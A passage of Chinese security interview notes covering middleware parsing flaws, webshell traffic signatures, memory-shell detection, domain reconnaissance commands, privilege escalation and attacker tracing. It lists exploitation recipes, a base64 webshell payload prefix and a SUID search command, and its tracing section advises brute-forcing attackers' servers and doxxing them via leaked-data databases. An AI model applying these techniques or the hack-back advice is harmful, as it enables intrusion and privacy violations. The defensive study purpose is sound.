字符串型（str）：s

数组型（array）：a

对象型（object）：O

NULL型：N

*原因*

对用户的输入检测不严

1、无类：

当未检测出攻击者输入的序列化字符串中包含的恶意执行语句

攻击者从而达到控制反序列化过程，进而进行恶意代码的执行（好比SQL注入，目录遍历等操作）

2、有类：

当进行反序列化的时候就有可能会触发对象中的一些魔术方法

\_construct() //创建对象时触发

\_\_destruct() //对象销毁时触发

\_\_call() //在对象中调用不可访问的方法时触发

\_\_callStatic() //在静态中调用不可访问的方法时触发

\_\_get() //用于从不可访问的属性读取数据

\_\_set() //用于将数据写入不可访问的属性

\_\_isset() //在不可访问的属性上调用isset()或empty()触发

\_\_unset() //在不可访问的属性上使用unset()时触发

\_\_invoke() //当脚本尝试将对象调用为函数时触发

\_\_wakeup() //执行unserialize()时，先会调用这个函数

\_\_sleep() //执行serialize()时，先会调用这个函数

### 中间件漏洞

IIS:解析漏洞、短文件名枚举、远程代码执行、PUT漏洞

解析漏洞

ISS 6.x版本

基于文件名

该版本会默认把.asp;.jpg文件当成.asp文件来执行，原理是服务器默认不解析分号;后面的内容，相当于截断。

基于文件夹名

该版本.asp可以作为文件夹名且会默认将.asp/目录下的所有文件当成Asp文件解析。

该版本配置默认将.asa，.cdx，.cer解析为asp

ISS7.x版本

在fast-cgi运行模式下，在任意文件例如1.jpg后面加上/.php都会将该文件解析为php文件

PUT任意文件写入

在web服务扩展中开启WebDAV后，支持多种请求，配合写入权限可造成任意文件写入

如何检测iis短文件名漏洞

方法一：使用iis\_shortname\_Scan.py脚本进行检测

用法：python IIS\_shortname\_Scan.py http://www.target.com/

方法二： 使用 nmap, 命令为 nmap -p 80 --script http-iis-short-name-brute 192.168.0.1/24

Apache：解析漏洞、目录遍历、shiro反序列化漏洞

未知扩展名解析漏洞

Apache对后缀名的解析是从右往左进行的，当遇到未知的后缀名时，会从右往左继续寻找，直到找到合法后缀名从解析，如a.php.xxx会以php文件进行执行。

AddHandler导致的解析漏洞

当httpd-conf文件被添加

AddHandler application/x-httpd-php .php

这种情况下，只要文件名中包含.php的后缀，文件就会以php文件解析，.php可以不用是最后一个后缀，可利用这种特性构造文件名绕过上传白名单。

Httpd换行解析漏洞 影响版本：2.4.0-2.4.29

由于正则表达式不单匹配字符串的结尾位置，也可以匹配\n,\r，因此在解析php时，如1.php\x0A会被按php后缀解析，导致绕过一些服务器的安全策略。

Nginx：解析漏洞、目录遍历、CRLF注入、目录穿越

任意解析漏洞：

小皮面板（8.1.0.4、8.1.0.7）默认配置下存在任意文件解析漏洞：上传图片马，在图片马地址后面加/.php即可执行图片马。

此漏洞为Nginx配置所导致，与Nginx版本无关。

空字节任意代码执行漏洞：

影响版本：0.5.\*，0.6.\*，0.7<=0.7.65,0.8<=0.8.37

若目录下存在一个实际为php文件的a.jpg文件，可通过访问该文件，抓包，修改为a.jpg...php,在hex选项卡中将jpg后的.修改为00即可让文件依旧以php解析。该漏洞不受cgi.fix\_pathinfo影响，当其为0时依旧解析。

文件名逻辑漏洞

影响版本：0.8.41-1.4.3/1.5.0-1.5.7

实现方法与上一个相类似，访问a.jpg，抓包修改为a.jpg...php，在hex选项卡中修改jpg后的两个点2e为20,00，即可以php文件解析，该漏洞不受cgi.fix\_pathinfo影响，当其为0时依旧解析。

CRLF注入

这是一项由于配置不当所导致的漏洞。

Nginx文档有3个表示uri的变量：1.uri 2.document\_uri 3.$request\_uri

1,2表示解码以后的请求路径，不带参数，3表示的是完整的URI（没有编码）

Nginx会将1，2进行解码，导致传入%0a%0b即可引入换行符，导致CRLF注入漏洞

目录穿越

在配置Nginx别名时忘记加/，导致访问..可穿越至上级目录。

目录遍历

当配置文件中，autoindex值设置为on时，将产生目录遍历漏洞。

Tomcat：示例目录、远程代码执行、反向路径遍历、war后门文件部署

Tomcat任意文件写入（CVE-2017-12615）环境：Tomcat/8.0.30

当配置文件/conf/web.xml配置了可写（readonly=false），即可往服务器写文件

Apache Tomcat远程代码执行（CVE-2019-0232）影响范围：9.0.0.M1-9.0.17，8.5.0-8.5.39,7.0.0-7.0.93

影响系统：windows

启用了CGI Servlet（默认为关闭），enableCmdLineArguments（Tomcat 9.0.\*及官方未来发布版本默认为关闭）

由于JRE将命令行参数传递给Windows的方式存在错误，会导致CGI Servlet受到远程执行代码的攻击。

Tomcat+弱口令&&后台getshell漏洞

影响范围：Apache Tomcat 8

Jboss：反序列化、war后门文件部署

一些常见的关键字：member，java.util，java.lang等，同时payload信息里面存在大量16进制编码。可能会对“单引号”“双引号”“括号”“等号”进行相关编码操作。

### struts2：

struts2漏洞原理：

Struts2漏洞是由于攻击者可以利用Struts2系统中没有恰当的输入验证机制，导致攻击者可以构造恶意请求，从而绕过Struts2的控制机制，访问服务器上的敏感资源，造成数据泄露的可能性。流量特征：攻击者可以通过发送特殊的http请求，构造恶意请求，并在请求中添加非法参数或操作，以绕过Struts2的认证机制，造成数据泄露的可能性。

流量特征：遇到之后先进行url解码在查看总体含义

webshell工具流量特征

### cs：

1，基础特征：心跳包

2，请求特征：下发的指令，url路径，老版本固定的ua头

3，源码特征：checksum8 （92L 93L）

### 菜刀：

老版本采用明文传输，新版本采用base64加密，检测思路就是分析流量包，发现大量的base64加密密文就需要注意

请求头中

User-Agent存在百度或者火狐

请求体中

会存在QGluaV9zZXQ攻击的开头部分后面的部分需要base64解码

z0(也会修改)跟随后面的payload的base64的数据。z0是菜刀的默认参数

eval也会替换成assert的方式（可能是拼接）

（“ass”.“ert”,…

固定的

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

### 蚁剑：

特征：

1.请求包中：ua头为antsword/\*

**2.请求体有@eval,@assert** ；

每个请求体都存在**@ini\_set(“display\_errors”, “0”);@set\_time\_limit(0)开头**。并且后面存在base64等字符

**已经拿到shell了（在执行系统命令）**在命令执行时有目录标记[S]、[E]、[R]、[D]、等，

加密后的明显参数多数是\_0x…=这种形式所以\_0x开头的参数名，以及dirname、get\_current\_user函数的字眼（需要讲请求内容解密后判断），后面为加密数据的数据包可以鉴定为蚁剑的流量特征

ASP类WebShell

OnError ResumeNext，response等没有被加密，是明文的形式，比较容易识别

execute在蚁剑中被打断混淆了，变成了拼接形式Ex"&cHr(101)&"cute

### 冰蝎：（（AES对称加密）内存马）

**ua头（3.0如果不修改为默认16个ua）**

Connection: Keep-Alive (冰蝎默认使用的**长连接**是为了避免频繁的握手造成的资源丢失)

**Content-Type: application/octet-stream**

**Accept&Cache-Control(3.0强特征)**

Cookie:冰蝎的机制是需要从set-cookie中去取值，所以在发包中即使是有了cookie，他的接收包中都会有setcookie,除去第一个包没有。

2.0特征：生成密钥事随机，需要根据每一次数据包中text/html中的key进行查找

第一阶段请求中返回包状态码为200，返回内容必定是16位的密钥  
请求包存在：Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2

建立连接后的cookie存在特征字符

所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/；

**冰蝎3.0流量特征：aes密钥变为md5("pass")[0:16]，全程不再交互密钥生成**

请求包中content-length 为5740或5720（可能会根据Java版本而改变）

每一个请求头中存在

Pragma: no-cache，Cache-Control: no-cache

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

**4.0特征**

**弱特征：Content-type: Application/x-www-form-urlencoded**

冰蝎与webshell建立连接的同时，javaw也与目的主机建立tcp连接，每次连接使用本地端口在49700左右，每连接一次，每建立一次新的连接，端口就依次增加。

content字段中，将eval($post)作为流量特征纳入。

冰蝎通讯默认使用长连接，避免了频繁的握手造成的资源开销。默认情况下，请求头和响应头里会带有 Connection。

通过默认密码，默认时，所有冰蝎4.0 webshell都有“e45e329feb5d925b” 一串密钥。该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond

**3.0/4.0差别**

冰蝎4.0加密流量特征与3.0版相差比较大。首先是加密方式，客户端自带xor、xor\_base64、aes、json和image等五种加密方式，每种加密方式都支持自定义加解密代码；其次是传输方式，冰蝎4.0引入了okhttp3客户端，因此HTTP协议交互、TLS协议交互与3.0的客户端也有显著不同。

1.冰蝎的的内存马怎么查杀?

冰蝎内存马用的是jvm加载类字节码的能力，常规的工具很难检测查杀，github上已经有查杀冰鞋jvm内存马的工具。

### 哥斯拉（内存马）：

哥斯拉header中有三个固定值，user-agent,accept,accept-language。

1. 强特征：cookie字段尾值出现分号；
2. 还有响应，哥斯拉会响应三次，而且我认为还有一个地方需要注意的就是webshell连接，所以一般会设置长时间连接，所以connection会是keep-alive
3. 响应头中的Cache-Control头是Cache-Control: no-store, no-cache, must-revalidate

payload特征：

jsp会出现xc,pass字符和Java反射（ClassLoader，getClass().getClassLoader()），base64加解码等特征

php，asp则为普通的一句话木马

**检测webshell**

静态检测

静态检测通过匹配特征码，特征值，危险函数函数来查找 webshell 的方法，只能查找已知的 webshell，并且误报率漏报率会比较高，但是如果规则完善，可以减低误报率，但是漏报率必定会有所提高。优点是快速方便，对已知的 webshell 查找准确率高，部署方便，一个脚本就能搞定。缺点漏报率、误报率高，无法查找 0day 型 webshell，而且容易被绕过

动态检测

Linux 下就是 nobody 用户起了 bash，Win 下就是 IIS User 启动 cmd，这些都是动态特征。再者如果黑客反向连接的话，那很更容易检测了，Agent 和 IDS 都可以抓现行。Webshell

总有一个 HTTP 请求，如果我在网络层监控 HTTP，并且检测到有人访问了一个从没访问过得文件，而且返回了 200，则很容易定位到 webshell，这便是 http 异常模型检测，就和检测文件变化一样，如果非管理员新增文件，则说明被人入侵了。缺点也很明显，黑客只要利用原文件就很轻易绕过了，并且部署代价高，网站时常更新的话规则也要不断添加。

日志检测

总有一个 HTTP 请求，如果我在网络层监控 HTTP，并且检测到有人访问了一个从没反问过得文件，而且返回了 200，则很容易定位到 webshell，这便是 http 异常模型检测，就和检测文件变化一样，如果非管理员新增文件，则说明被人入侵了。缺点也很明显，黑客只要利用原文件就很轻易绕过了，并且部署代价高，网站时常更新的话规则也要不断添加。

1、 Webshell流量交互的流量特征有哪些

1)Webshell是用来控制服务器的，在控制服务器的过程中，就会触发许多系统 函数，例如eval、zO (菜刀特征)、shell,需监控这些关键的函数，具体需要查看 是哪个网页发起的请求进行鉴别。

2)Webshell连接可能使用base64编码，正常功能也会使用base64容易引起误 报，一般与eval数量对比，数量差异较小时可能被上传webshell进行编码通讯。

3)除了系统函数、base64编码通讯外,还存在int\_set("display\_errors","0"),为 Webshell流量特征之一。

4)还可以监控ifconfig whoami ipconfig等关键命令，这是获得Webshell后基本 上都会执行的命令。

Webshell特征

1.一般文件名后缓为jsp、php、py、asp等;

2.一般Web应用会对上传后的文件名做二次命名,例如通过uid、时间戳等方法进行重命名,特征一为较长的字母数字组合 jsp(asp/php/Py等)

3.由于 webshell内需要执行对应的功能,例如执行命令,连接数据库等,所以文件内容中会存在

相关编译语言的函数关键字,例如 Runtime. getruntime(0、 connection()、eval、 request System等。

4.一般 webshell里可能有对应的访向控制,所以内容中可能会包含 username. password之类的字样

5.既然是上传文件,那么上传 webshel的数据包的 content-type参数的值一般都是multipart/form-data

6.常见一些 webshell命名,例如 webshellj sp、jspy、jip等

7. webshell的访问路径一般是文件上传目录,例如/ upload、 /image等

### 防范webshell

防范的措施大概有三种：

第一种的思路是将专门存放上传文件的文件夹里面的脚本类型文件，解析成其他类型的文件，服务器不会以脚本类型来执行它。

第二种是匹配文件夹里的脚本类型文件，将其设置为无法读取及操作。

第三种是将文件上传到一个单独的文件夹，给一个二级的域名，然后不给这个虚拟站点解析脚本的权限，听说很多网站都用这种方式。

### Java内存马

**特点：**

无文件马，利用中间件的进程执行某些恶意代码，不会有文件落地，给检测带来巨大难度。

**原理：**

在web组件或者应用程序中，注册一层访问路由，访问者通过这层路由，来执行我们控制器中的代码

其原理是先由客户端发起一个web请求，中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作，内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件，插入恶意的shellcode达到持久化的控制服务

**sevlet内存马**就是通过反射机制调用调用StandardContext类的方法动态加载一个恶意类到内存中并调用其addServletMapping()函数将恶意servlet与我们指定的url绑定。此时我们访问那个恶意url即可完成攻击.

**servlet-api型**

通过命令执行等方式动态注册一个新的listener、filter或者servlet，从而实现命令执行等功能。某些特定框架、容器的内存马原理与此类似，如spring的controller内存马，tomcat的valve内存马。

filter型

filter型内存马是**将命令执行的文件通过动态注册成一个恶意的filter，这个filter没有落地文件并可以让客户端发来的请求通过它来做命令执行,恶意filter就会被自动加载到filterchain中并与我们指定的url绑定**，形成filter形内存马，此时我们访问那个url就会触发内存马。恶意代码在我们写的filter中的dofilter函数中.

逻辑：

1创建恶意的filter。

2创建FilterDef，里面存着filter的基本信息，例如类名。

3创建FilterMap，里面是filter与url的绑定信息，换句话说就是访问哪个url时触发这个filter。可以理解成这一步是在更改web.xml文件。

4通过StandardContext与FilterDef创建新的FilterConfig并添加到filterConfigs中并与之前声明的filter进行配对。

5访问刚刚绑定的url即可添加filter内存马。

***一句话总结就是想办法在内存中写入一个恶意filter并与某个url绑定。***

### 内存马定位

**进程排查：**

**使用ps aux或htop查看所有进程，重点关注异常进程名、高CPU/内存占用的进程。**

**使用netstat -antp或ss -antp查看异常网络连接，尤其是与外部IP的连接。**

**文件排查：**

**检查/proc/[pid]/exe和/proc/[pid]/fd，查看进程对应的可执行文件和打开的文件描述符。**

**使用lsof -p [pid]查看进程打开的文件和网络连接。**

**内存注入检测：**

**使用工具（如GDB、Volatility）分析进程内存，查找可疑的代码段或注入的Shellcode。**

**检查是否有动态链接库（如.so或.dll）被恶意加载。**

### 内存马排查

内存马排查思路：**先判断是通过什么方法注入的内存马**，可以先**查看web日志**是否有可疑的web访问日志，如果是**filter或者listener类型就会有大量url请求路径相同参数不同的**，或者**页面不存在但是返回200**的，查看是否有类似**哥斯拉、冰蝎相同的url请求**，哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。**通过查找返回200的url路径对比web目录下是否真实存在文件，如不存在大概率为内存马。**

如在web日志中并未发现异常，可以排查是否为中间件漏洞导致代码执行注入内存马，排查中间件的error.log日志查看是否有可疑的报错，根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell，排查框架漏洞，反序列化漏洞。

如果是jsp注入，日志中排查可疑jsp的访问请求。

**分类型**

如果是servlet或者spring的controller类型，根据上报的webshell的url查找日志（日志可能被关闭，不一定有），根据url最早访问时间确定被注入时间。

如果是filter或者listener类型，可能会有较多的404但是带有参数的请求，或者大量请求不同url但带有相同的参数，或者页面并不存在但返回200

**PHP内存码检测**

1.检查所有php进程处理请求的持续时间

2.检测执行文件是否在文件系统真实存在

**Python内存马检测**

1.查看所有内建模块中是否包含eval、exec等可以执行代码的函数如：class warnings.catch\_warnings、class site.Quitter等。

2.检测self.add\_url\_rule()中特殊名字的路由如shell等。

**Java内存马检测**

filter检测思路：

1.带有特殊含义的filter的名字比如shell等。

2.Filter的优先级，filter内存马需要将filter调至最高。

3.查看web.xml中有没有filter配置。

4.检测特殊的classloader。

5.检测classloader路径下没有class文件。

6.检测Filter中的doFilter方法是否有恶意代码。

### Java内存马查杀工具

**1.java-memshell-scanner：**通过jsp脚本扫描并查杀各类中间件内存马。

只需要将tomcat-memshell-scanner.jsp放在可能被注入内存马的web录下，然后使用浏览器访问即可直接获得扫描结果。java-memshell-scanner-GitHub地址：https://github.com/c0ny1/java-memshell-scanner

**2.copagentcop.jar：**首先可以先看result.txt中标记高危的class，copagentcop.jar工具会把所有的文件都还原成jsp文件，可以用D盾等webshell查杀工具进行扫描。

只需要将cop.jar工具放在运行tomcat的服务器上运行cop.jar工具会识别你正在运行的应用列举出来由你自己选择ID，运行后会在同目录下生成.copagent目录储存结果。copagentcop.jar-GitHub地址：https://github.com/LandGrey/copagentcop.jar

**3.arthas-boot.jar：**arthas-boot.jar工具可以先排除可疑名字的servlet和filter节点，如攻击者隐藏的更深需要将所有的类都反编译导出来然后逐一排查。

在线排场问题，无需重启;动态跟踪java代码;实时监控jvm状态。采用命令行交互模式，提供丰富的Tab自动补全功能，进一步方便进行问题的定位和诊断。arthas-boot.jar链接-GitHub地址：https://github.com/alibaba/arthas

**4.VisualVM工具：**是一款免费的，集成了多个JDK命令行工具的可视化工具，它能为您提供强大的分析能力，对 Java 应用程序做性能分析和调优。这些功能包括生成和分析海量数据、跟踪内存泄漏、监控垃圾回收器、执行内存和 CPU 分析，同时它还支持在 MBeans 上进行浏览和操作

进程注入原理，调用了什么api?

dll pe 线程劫持 注册表

PROCESS HOLLOWING 调用SetWindowsHookEx进行注入

APC注入和AtomBombing内存注入

通过SETWINDOWLONG提供EXTRA WINDOW MEMORY INJECTION

使用SHIMS进行注入

Hook导入表（IAT hooking）或 INLINE HOOKING

**tomcat本质是web服务器和servlet容器的集合体**

tomcat容器要完成的任务很简单，就是要能够提供一个接口让其它程序能够访问到 Service 集合，同时要维护所包含的所有 Service 的生命周期，包括如何初始化、如何结束服务、如何找到别人要访问它的 Service。还有一些次要的任务，如记录Service运行日志，维护Session等等。

webshell分析思路

**1.基于webshell特征检测**

常见webshell函数

（1）存在系统调用的命令执行函数，如eval、system、cmd\_shell、assert等；

（2）存在系统调用的文件操作函数，如fopen、fwrite、readdir等；

（3）存在数据库操作函数，调用系统自身的存储过程来连接数据库操作；

（4）具备很深的自身隐藏性、可伪装性，可长期潜伏到web源码中；

（5）衍生变种多，可通过自定义加解密函数、利用xor、字符串反转、压缩、截断重组等方法来绕过检测；

基于webshell工具特征的检测

webshell的访问特征

1）少量的IP对其发起访问

2）总的访问次数少

3）该页面属于孤立页面

webshell防御

1.建议用户通过ftp来上传、维护网页，尽量不安装asp的上传程序。

2.对asp上传程序的调用一定要进行身份认证，并只允许信任的人使用上传程序。

3.asp程序管理员的用户名和密码要有一定复杂性，不能过于简单，还要注意定期更换。

1. 到正规网站下载程序，下载后要对数据库名称和存放路径进行修改，数据库名称要有一定复杂性。

5.要尽量保持程序是最新版本。

6.不要在网页上加注后台管理程序登陆页面的链接。

7.防止程序有未知漏洞，可以在维护后删除后台管理程序的登陆页面，下次维护时再通过上传即可。

8.要时常备份数据库等重要文件。

9.日常要多维护，并注意空间中是否有来历不明的asp文件。

10.尽量关闭网站搜索功能，利用外部搜索工具，以防爆出数据。

11.利用白名单上传文件，不在白名单内的一律禁止上传，上传目录权限遵循最小权限原则。

### 设备

常见安全设备 ids 。hids 。nids。IPS 。 av 。edr 。 apt，利用厂商安全设备的日志和报警来对攻击进行研判

WAF：Web应用防火墙 —应用层的攻击防护

IDS：入侵检测系统

IPS：入侵防御系统

SOC：安全运营中心

SIEM：信息安全事件管理

Vulnerability Scanner：漏洞扫描器

UTM：统一威胁管理

抗DDOS产品

FireWall：防火墙—上网行为管理软件，主机安全

VPN：虚拟专用网

常见的 HW 设备有：公安部网防G01、K01、360网康/网神防火墙、微步威胁情报、安恒云-Web应用防火墙（玄武盾）、默安蜜罐、知道创宇蜜罐、山石防火墙

NGAF/NGFW：下一代 Web 应用防火墙（Next Generation Application Firewall，通防火墙和下一代防火墙的区别），聚合了以下功能

IDS

HIDS：基于主机的入侵检测系统

NIDS：基于网络的入侵检测系统

HIDS+NIDS：基于混合数据源的入侵检测系统

IPS：入侵防御系统

AV：反病毒系统

EDR：主机安全管理\终端检测和响应

EDR 实时监测终端上发生的各类行为，采集终端运行状态，在后端通过大数据安全分析、机器学习、沙箱分析、行为分析、机器学习等技术，提供深度持续监控、威胁检测、高级威胁分析、调查取证、事件响应处置、追踪溯源等功能，可第一时间检测并发现恶意活动，包括已知和未知威胁，并快速智能地做出响应，全面赋予终端主动、积极的安全防御能力

简单来说就是给内网环境中所有主机安装管理软件终端，可以在管理平台集中管理和数据分析过滤，基本所有安全厂商都有自己的 EDR 产品

运维审计和管理平台（堡垒机）

DAS：数据库安全审计平台

LAS：日志审计安全平台

AC：上网行为管理系统

伪装欺骗系统（蜜罐、蜜网）

SIP：安全态势感知平台

这个算是让整套系统性能得到提升的灵魂了，定位为客户的安全大脑，是一个集检测、可视、响应处置于一体的大数据安全分析平台。产品以大数据分析为核心，支持主流的安全设备、网络设备、操作系统等多源数据接入，利用大数据、关联分析、告警降噪等技术，实现海量数据的统一挖掘分析

你用过微步吗？

微步在线是一个威胁情报中心，可以通过 ip 或域名查询其是不是恶意的，对于判断恶意链接具有一定的参考性，他还有一个插件可以在页面选中就能进行查询，还是一个比较好用的工具

内网渗透

*渗透测试流程*

涉及**信息收集，收集子域名、Whois、C段、旁站、Web 系统指纹识别，然后测试 web 系统的漏洞**

*金银票区别*

|  |  |  |
| --- | --- | --- |
| 区别点 | 黄金票据 | 白银票据 |
| 访问权限 | 获取任何Kerberos服务权限 | 访问指定的服务 |
| 加密方式 | 由krbtgt的Hash加密 | 由服务账号(通常为计算机帐户)Hash加密 |
| 认证流程 | 需要经过域控 | 不需要经过域控 |
| 生成的票据 | TGT票据 | TGS票据 |

黄金票据的意思是，当攻击者能够获取krbtgt的HTLM HASH后，攻击者就可以伪造一张票据授权票，去伪造正域内的任意用户访问到域内kerberos认证的所有服务资源。

### 黄金票据怎么拿（域控）shell?

1. 清除票据：
2. 生成黄金票据并导入到内存。利用mimikatz中的kerberos::ptt功能将ticket.kirbi（票据）导入内存中

3.尝试创建一个xxx的域管账号，命令执行成功

知识：Kerberos认证(krb)

域管krbtgt的hash

*0.是否存在域*

Ipconfig/all systeminfo 还有net config workastion看工作站

### 如何定位域控

net view /domain 查询域列表

net time/domain 从域控查询时间，若当前用户是域用户会从域控返回当前时间，亦用来判 断主域，主域一般用做时间服务器

ipconfig /all 判断存在域

net localgroup administrators 本机管理员【通常含有域用户】

net user /domain 查询域用户(当前域)

net group /domain 查询域工作组

net group "domain computers" /domain 查看加入域的所有计算机名

net group "domain admins" /domain 查询域管理员用户组和域管用户

net localgroup administrators /domain 查看域管理员

net group "domain controllers" /domain 查看域控

net accounts /domain 查看域密码策略

*1.域控的权限维持*

第一次拿到域管后，第二次的域渗透只需要域管的hash就可以做成票据，拿域管的权限。

或者还有ske-key的万能密码，我知道他的原理是注入lsass进程。不需要域管密码和hash。用域用户身份也可以登录。

*2.常用的横向手法*

1.ptk(密钥)

2.pth（通过hash，就是用minikatz做pth的横向）

3.域里面的常用漏洞

Ms14-068 吧域内用户获得域管权限。

4.白银票据

和黄金票据差别是他不是域控加密的，是服务器本身的ntlm加密。

*网络基础*

打内网大部分流量都走socks协议，有防火墙过不去

Regeorg(瑞joju)和代理链 都是socks协议的代理。

Socks协议走的是tcp，不支持icmp，所以不能ping。

正向代理：客户端代理 服务器不知道客户端的真实ip。

反向代理: 服务端代理 客户端是不知道服务器的真实地址。

Windows/Linux提权

### Windows提权

1.土豆全家桶，photo(smb)

2.常用的补丁提权，syteminfo复制系统信息，拿去辅助提权。

3.数据库提权，mysql的udf提权。(安全模式未开，root权限)

4.很常用的ms14-068驱动提权。

5.配置不当的提权，注册表的install安装配置的话是最高权限启动的。

### Linux 提权

**还有(弱口令、钓鱼)**

1.内核提权(脏牛) 和windows一样看系统内核 uname-a

2.sudo提权 就是很多运维给普通用户通过sudo执行root命令的权限，条件的话需要sudo没密码。

3. SUID文件利用:查找并利用具有SUID权限的程序。通过这些程序，攻击者可以以文件所有者（通常是root）的权限执行命令。(利用SUID权限的vim、nano等文本编辑器，通过编辑和执行shell脚本来提权。)

find / -perm -u=s -type f 2>/dev/null

4. 错误配置/权限设置

PATH变量包含可写目录，攻击者可以在这些目录中放置恶意程序并让系统以高权限执行。

不安全的文件权限：重要文件或脚本的权限设置不当，允许普通用户读取或修改。

5. 安装和利用后门

* SSH后门：通过修改SSH配置文件或添加恶意公钥，获取持久的访问权限。
* Rootkit和木马：安装内核模块级别的Rootkit或木马，隐藏攻击行为并维持访问权限。

6.写计划任务，还有mysql的udf提权。

*命令行工具用的什么比较多*

xshell、xftp、finalshell

*哪些漏洞经常被用于打点*？

边界网络设备资产跟弱口令结合

上传漏洞

Log4j

Apache Shiro漏洞

Fastjson漏洞

内网端口转发（正向代理反向代理）

内网端口转发分为正代和反代

### **正向代理：**

**简单来说正向代理就是 proxy 代替了我们去访问 Rhost。**在正向代理的过程中，代理服务器代替客户端向目标服务器发送请求，目标服务器不知道谁是真正的客户端，不知道访问自己的是一个代理服务器还是客户端。服务器只负责将响应包发送给请求方。

### **反向代理：**

**简单来说反向代理就是服务器主动连接我们。**客户端发送一个请求给代理服务器，代理服务器接收请求并将请求发送给业务服务器，业务服务器将响应发送给代理服务器，代理服务器再将响应发送给客户端。

客户端发送一个请求给代理服务器，代理服务器接收请求并将请求发送给业务服务器，业务服务器将响应发送给代理服务器，代理服务器再将响应发送给客户端。

*常见的端口转发工具:*

1. ngrok - 一种使用最广泛的端口转发工具，支持http、https和TCP隧道等功能。

**2. FRP -基于 Go语言**，支持TCP/UDP/WebSocket协议，是一种基于多用户tcp/udp端口映射软件，可以帮助用户**轻松穿越防火墙，远程连接内网服务器或联网设备**

3. Htunnel - 一种轻量级的端口转发工具，使用简单，只需要一个命令即可启动，支持TCP和UDP协议。

4. Serveo - 一种基于SSH协议的端口转发工具，可以将本地服务暴露给外网访问。

5. localtunnel - 一款基于Node.js的端口转发工具，使用简单，但不支持自定义域名。

### 杂项

你还用过其他态势感知的产品吗？

ips，ids，hids，堡垒机等

1. 了解过哪些设备，个人对比一下

奇安信的天眼，误报较多，需要用wireshark额外抓包分析

青藤万象，集成化做的不好，多个省份看起来切换很麻烦

网页状态码

403 （禁止） 服务器拒绝请求。

404 （未找到） 服务器找不到请求的网页。

301 （永久移动） 请求的网页已永久移动到新位置。 服务器返回此响应（对 GET 或 HEAD 请求的响应）时，会自动将请求者转到新位置。

302 （临时移动） 服务器目前从不同位置的网页响应请求，但请求者应继续使用原有位置来进行以后的请求。

500 （服务器内部错误） 服务器遇到错误，无法完成请求。

501 （尚未实施） 服务器不具备完成请求的功能。 例如，服务器无法识别请求方法时可能会返回此代码。

502 （错误网关） 服务器作为网关或代理，从上游服务器收到无效响应。

503 （服务不可用） 服务器目前无法使用（由于超载或停机维护）。 通常，这只是暂时状态。

504 （网关超时） 服务器作为网关或代理，但是没有及时从上游服务器收到请求。

505 （HTTP 版本不受支持） 服务器不支持请求中所用的 HTTP 协议版本。

端口如21.22.23.53.3389等端口是干什么的

21：FTP文件传输协议

22：SSH远程连接

23：TELNET远程登录

25：SMTP邮件服务

53：DNS域名系统

80：HTTP超文本传输协议

443：HTTPS安全超文本传输协议

1433：MSSQL

3306：MYSQL

3389：windows远程桌面服务端口

7701：weblogic

8080：TCP,HTTP协议代理服务器：Apache-tomcat默认端口号

WAF允许的HTTP请求方法如下： GET、POST、HEAD、PUT、DELETE、MKCOL、COPY、MOVE、OPTIONS、PROPFIND、PROPPATCH、LOCK、UNLOCK、TRACE、SEARCH、CONNECT、CHECKOUT、LABEL、UPDATE、REPORT、CHECKIN、CHECKOUT、UNCHECKOUT、MERGE、MKACTIVITY、BPROPPATCH、MKWORKSPACE、VERSION-CONTROL、BASELINE-CONTROL





### 溯源

溯源反制思路

红队攻击都会挂着代理，你溯源的话只能溯源到他的代理ip，没有太大的意义，如果说服务器被上了内存马的情况，可以去工具取样他内存马的ip，对内存马ip反向扫描端口，

因为他们也是通过远程进去的，去爆破他们的ssh,3389和cs的密码。

反序列化的取样，他打shiro，里面就有他的基本设备vps，通过中间件吧这些有特征的ip收集，放到在线情报平台上识别，检测是不是有ip绑定域名的，通过whois反查他的域名注册时间、邮箱，通过社工库查他的手机号，然后通过社交软件，qq、微信、支付宝来给他转一毛钱，拼接他的个人信息。

流量溯源

先看日志，看攻击时间做一个审计，搜索这个时间文件上传的操作，一般是GET和POST两种，GET的话可以直接看到他请求的资源、地址和content，然后webshell该杀就杀，后门改补就补，如果是POST，那么就看不到请求的内容，可以去防火墙上下载完整数据包来分析。

1.攻击源捕获

安全设备报警，如扫描IP、威胁阻断、病毒木马、入侵事件等

日志与流量分析，异常的通讯流量、攻击源与攻击目标等

服务器资源异常，异常的文件、账号、进程、端口，启动项、计划任务和服务等

邮件钓鱼，获取恶意文件样本、钓鱼网站 URL 等

蜜罐系统，获取攻击者 ID、电脑信息、浏览器指纹、行为、意图的相关信息

1. 溯源反制

IP 定位技术

根据IP定位物理地址–代理 IP

溯源案例：通过 IP 端口扫描，反向渗透服务器进行分析，最终定位到攻击者相关信息

ID 追踪术

ID 追踪术，搜索引擎、社交平台、技术论坛、社工库匹配

溯源案例：利用 ID 从技术论坛追溯邮箱，继续通过邮箱反追踪真实姓名，通过姓名找到相关简历信息

网站 url

域名 Whois 查询–注册人姓名、地址、电话和邮箱 --域名隐私保护

溯源案例：通过攻击 IP 历史解析记录/域名，对域名注册信息进行溯源分析

恶意样本分析

提取样本特征、用户名、ID、邮箱、C2 服务器等信息–同源分析

溯源案例：样本分析过程中，发现攻击者的个人 ID 和 QQ，成功定位到攻击者

社交账号

基于 JSONP 跨域，获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等

利用条件：可以找到相关社交网站的 jsonp 接口泄露敏感信息，相关网站登录未注销

3.攻击者画像

攻击路径

攻击目的：拿到权限、窃取数据、获取利益、DDOS 等

网络代理：代理 IP、跳板机、C2 服务器等

攻击手法：鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等

攻击者身份画像

虚拟身份：ID、昵称、网名

真实身份：姓名、物理位置

联系方式：手机号、qq/微信、邮箱

组织情况：单位名称、职位信息

通常情况下，接到溯源任务时，获得的信息如下：

攻击时间

